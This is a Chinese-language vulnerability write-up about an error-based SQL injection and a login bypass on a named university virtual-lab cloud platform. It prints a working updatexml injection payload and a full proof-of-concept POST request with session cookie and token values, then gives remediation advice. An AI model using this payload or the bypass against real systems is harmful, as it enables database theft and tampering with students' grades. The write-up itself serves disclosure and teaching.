前言
SQL 注入是 Web 安全中经典高危漏洞,很多业务系统因未对用户输入做严格过滤,直接拼接 SQL 语句执行查询,从而产生注入风险。本次测试目标为数字化柔性制造产线云平台(高校虚拟实验平台),平台实验列表搜索功能存在报错型 SQL 注入,同时登录模块存在异常身份绕过现象,可直接进入教师账号,查看教师信息、对学生实验成绩进行评分。本文完整记录漏洞发现与复现全过程。
漏洞 / 测试基础信息
| 项目 | 详情 |
|---|---|
| 漏洞类型 | 报错型 SQL 注入(高危) |
| 资产环境 | 互联网公网高校虚拟实验平台 |
| 测试入口 | 实验列表搜索框;专家评审登录入口 |
| 漏洞现象 | 搜索框输入单引号触发 MySQL 数据库报错,可使用updatexml报错注入提取数据库信息;登录入口异常直接登录教师账号,可查看其他老师信息、给学生实验成绩评分 |
| 漏洞原理 | 后端直接将用户可控的搜索参数拼接进 SQL 查询语句,未做输入过滤与预编译处理,恶意 SQL 片段被数据库执行,返回报错信息泄露数据库内容 |
漏洞思路梳理
- 业务场景:高校虚拟实验云平台,包含登录、教师评审、实验列表搜索、学生成绩评分等功能。
- 初步现象:访问专家评审登录位置,无需正常登录逻辑直接进入王老师账号,可以查看其他教师信息,还可以对其他同学实验成绩进行评分。
- 注入猜想:找到实验列表搜索功能,搜索框接收用户输入参数,参数大概率直接拼接 SQL。
- 验证思路:输入单引号
'观察页面是否抛出数据库 SQL 语法报错;双单引号测试是否闭合;使用updatexml报错注入 Payload 尝试回显数据库信息。 - 结果:页面返回 MySQL 报错,成功利用报错注入获取数据库用户信息,确认 SQL 注入漏洞。
实操 / 测试流程
测试前置:访问数字化柔性制造产线云平台站点。
进入虚拟实验平台,点击专家评审进行登录,直接登录到王老师的账号,这里可以查看其他老师信息,可以对其他同学的实验成绩进行评分。


找到实验列表页面,在搜索处输入单引号'。


页面直接抛出 MySQL 数据库语法错误,返回 SQLSTATE 报错堆栈,确认存在 SQL 语法漏洞。

在搜索框输入两个单引号'',页面回显正常,判断单引号为 SQL 语句的闭合符号。

打开 Burp Suite 抓包,抓取搜索提交的 POST 请求。

使用报错注入 Payload:name=')and+updatexml(1,concat(0x7e,user(),0x7e),1)=('1构造 POST 请求数据包。

将构造好的数据包发送服务端,页面返回 XPATH 报错,回显数据库用户信息,成功爆出数据库相关内容,漏洞验证完成。
完整请求 POC:
POST /index/alllab/index.html HTTP/1.1
Host: net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer:http://xxx/index/allab/index.html?name=%E2%80%99
Cookie: PHPSESSID=q6jt168dgg0v7fgl0ml2tto0e5; uid=836; token=76655cf0-2cc1-4625-9f56-9b4ae2428b82; think_var-zh-cn
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 192.168.188.123
Priority: u=0,i
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
name=')and+updatexml(1,concat(0x7e,user(),0x7e),1)=('1
漏洞总结
核心问题
- SQL 注入问题 :实验列表搜索功能,直接把前端传入的
name搜索参数拼接进 SQL 查询语句,没有使用预编译,没有过滤特殊符号,攻击者可以构造恶意 SQL 语句,利用报错注入读取数据库数据。 - 身份认证缺陷:专家评审登录模块认证逻辑异常,未校验账号密码,直接进入教师权限账号,越权查看教师信息、操作学生实验成绩。
漏洞危害
- 攻击者利用 SQL 注入可读取全部数据库数据,包含账号密码、学生实验信息、教师信息等敏感数据,高危情况下可脱库。
- 身份绕过后,普通访问者可直接获取教师权限,随意修改学生实验评分,破坏教学业务数据。
- 高校教学平台数据泄露,会造成师生个人信息泄露,带来隐私、合规风险。
修复建议
- SQL 注入修复(优先)
- 全部 SQL 查询使用预编译 + 参数化查询,杜绝直接拼接用户输入到 SQL 语句。
- 对前端输入做白名单过滤,严格限制输入字符;禁止直接把用户输入当作 SQL 片段执行。
- 关闭生产环境详细数据库报错输出,不要把 SQL 堆栈、数据库错误直接返回给前端页面。
- 身份认证修复
- 修复专家评审登录逻辑,登录必须校验账号、密码凭证,禁止无凭证直接赋予教师会话权限。
- 后端接口增加权限校验,教师评分接口必须校验当前登录用户身份,防止越权修改学生成绩。
- 安全加固:部署 WAF,对 SQL 注入特征做拦截;定期做安全渗透测试;数据库账号做最小权限分配。
- 日志审计:记录登录行为、搜索请求、成绩修改操作,异常行为可溯源排查。
测试心得
- SQL 注入基础测试技巧:搜索框、查询接口优先输入单引号
',观察页面是否抛出数据库报错,快速判断是否存在注入点。 - 报错注入适用场景:页面会返回数据库错误堆栈,无法直接回显查询结果 ,常用
updatexml、extractvalue函数。 - 高校业务系统经常同时出现注入 + 越权组合漏洞,测试时不要只盯着单一漏洞,需要联动观察业务权限。
- 开发切记:永远不要信任前端传入的任何用户可控参数。
安全声明
⚠️本文内容仅为网络安全学习、渗透测试技术研究交流。严禁在未获得书面授权情况下对互联网资产进行扫描、漏洞测试、注入攻击等行为,未经授权的测试属于违法违规行为。所有测试操作,务必在自己拥有完整授权的测试环境开展。